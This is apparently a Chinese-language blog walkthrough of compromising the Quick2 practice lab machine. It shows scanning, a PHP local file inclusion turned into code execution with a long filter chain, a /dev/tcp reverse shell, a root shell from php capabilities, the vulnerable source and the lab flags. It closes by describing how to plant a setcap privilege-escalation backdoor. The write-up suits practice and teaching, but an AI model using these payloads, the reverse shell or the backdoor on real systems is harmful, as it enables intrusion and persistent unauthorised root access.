Quick2靶机渗透

笔记编辑于2025/11/23

本文是个人参考【OSCP】quick2进行的复现的文章

靶机渗透开场

攻击机1

主机存活发现

复制代码
┌──(root㉿Xudde)-[~]
└─# ip a
┌──(root㉿Xudde)-[~]
└─# nmap -sP 192.168.161.130/24

发现靶机192.168.161.131

攻击机2

端口扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nmap -sV -O -p- 192.168.161.131

攻击机3

目录扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# dirsearch -u http://192.168.161.131:80/

攻击机4

漏洞扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nikto -host http://192.168.161.131

nikto告诉我们index.php?page=存在文件本地文件包含漏洞

攻击机5

验证本地文件包含漏洞

当然在file.php这个文件也有本地文件包含漏洞

攻击机6

用脚本php_filter_chain_generator.py构造RCE

https://github.com/synacktiv/php_filter_chain_generator

一个用于生成PHP过滤器链的命令行工具,如果你完全控制传入PHP require或include的参数,则无需上传文件即可获得RCE!

复制代码
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'

攻击机7

file=后面加上&0=id执行命令

复制代码
http:?/192.168.161.131:80/file.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=id

攻击机8

反弹shell,命令需要url编码

复制代码
//编码前
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.161.131/6666 0>&1"
//编码后,插入&0=后面,本地执行nc -lvvp 6666监听
%2fbin%2fbash+-c+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.161.131%2f6666+0%3e%261%22         

成功拿到shell

目标机1

复制代码
cd /home/nick
cat user.txt

第一个flag,HMV{Its-gonna-be-a-fast-ride}

靶机渗透内网提权

攻击机10

提权

在/tmp目录下上传linpeas.sh扫描

复制代码
python -m http.server 7777

目标机2

复制代码
wget http://192.168.161.130:7777/linpeas.sh

目标机3

给予linpeas.sh执行权限,并执行linpeas.sh

复制代码
chmod +x linpeas.sh ./linpeas.sh

目标机4

根据描述查看有无RED/YELLOW

攻击机11

复制代码
https://gtfobins.github.io/gtfobins/php/

目标机5

复制代码
/usr/bin/php8.1 -r "posix_setuid(0);system('/bin/sh');" 
或者 
CMD="/bin/sh" 
/usr/bin/php8.1 -r "posix_setuid(0);system('$CMD');"

目标机6

复制代码
ls /root/ cat /root/root.txt

得到第二个flag,HMV{This-was-a-Quick-AND-fast-machine}

靶机渗透结束收场

web漏洞源代码分析

file.php文件

复制代码
www-data@quick2:/var/www/html$ cat file.php
cat file.php
<html>
<body>
<h2>Local File Inclusion Vulnerability</h2>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'];?>">
  File to include: <input type="text" name="file">
  <input type="submit">
</form>
<?php
if (isset($_GET['file'])) {
  include($_GET['file']);
}
?>
</body>
</html>

没有任何过滤

可以利用php伪协议执行代码

复制代码
http://192.168.161.131:80/file.php?file=php://filter/convert.base64-encode/resource={file}.php

还有file:///etc/passwd读取文件

另外因为靶机php配置文件没有开启allow_url_include无法实现php://input和data://

且allow_url_fopen也是关闭的远程文件包含更无法实现

渗透收获

设置提权后门方法

setcap cap_setuid=ep /usr/bin/php8.1 //允许进程修改自身用户id

提权后门提权方法

/usr/bin/php8.1 -r "posix_setuid=(0);system('/bin/sh');"

这波渗透收获也蛮丰收,懂得了设置提权后面的方法和新的提权方法

相关推荐
AI-Ming1 分钟前
注意力机制拓展-大模型知识点(程序员转行AI大模型学习)
人工智能·学习
ADHD多动联盟2 分钟前
多动症孩子的运动干预是什么?主要有怎样的方法?
学习·学习方法·玩游戏
牢七6 分钟前
jfinal_cms-v5.1.0 审计前缀
安全
骥龙10 分钟前
第五篇:运行时安全——Docker沙箱与命令审批机制
安全·docker·容器
上海云盾-小余13 分钟前
零信任安全落地实战:企业如何构建无边界可信访问体系
网络·安全·web安全·架构
炽烈小老头14 分钟前
【每天学习一点算法 2026/03/20】单词搜索
学习·算法
xiaoxiaoxiaolll14 分钟前
最新《Nature Communications》:多元素共生策略为金属材料穿上“抗疲劳铠甲”
学习
weixin_4588726114 分钟前
东华复试OJ二刷复盘14
学习
元契18 分钟前
英语基础语法学习0
学习
arvin_xiaoting27 分钟前
OpenClaw学习总结_I_核心架构系列_Gateway架构详解
学习·架构·llm·gateway·ai-agent·飞书机器人·openclaw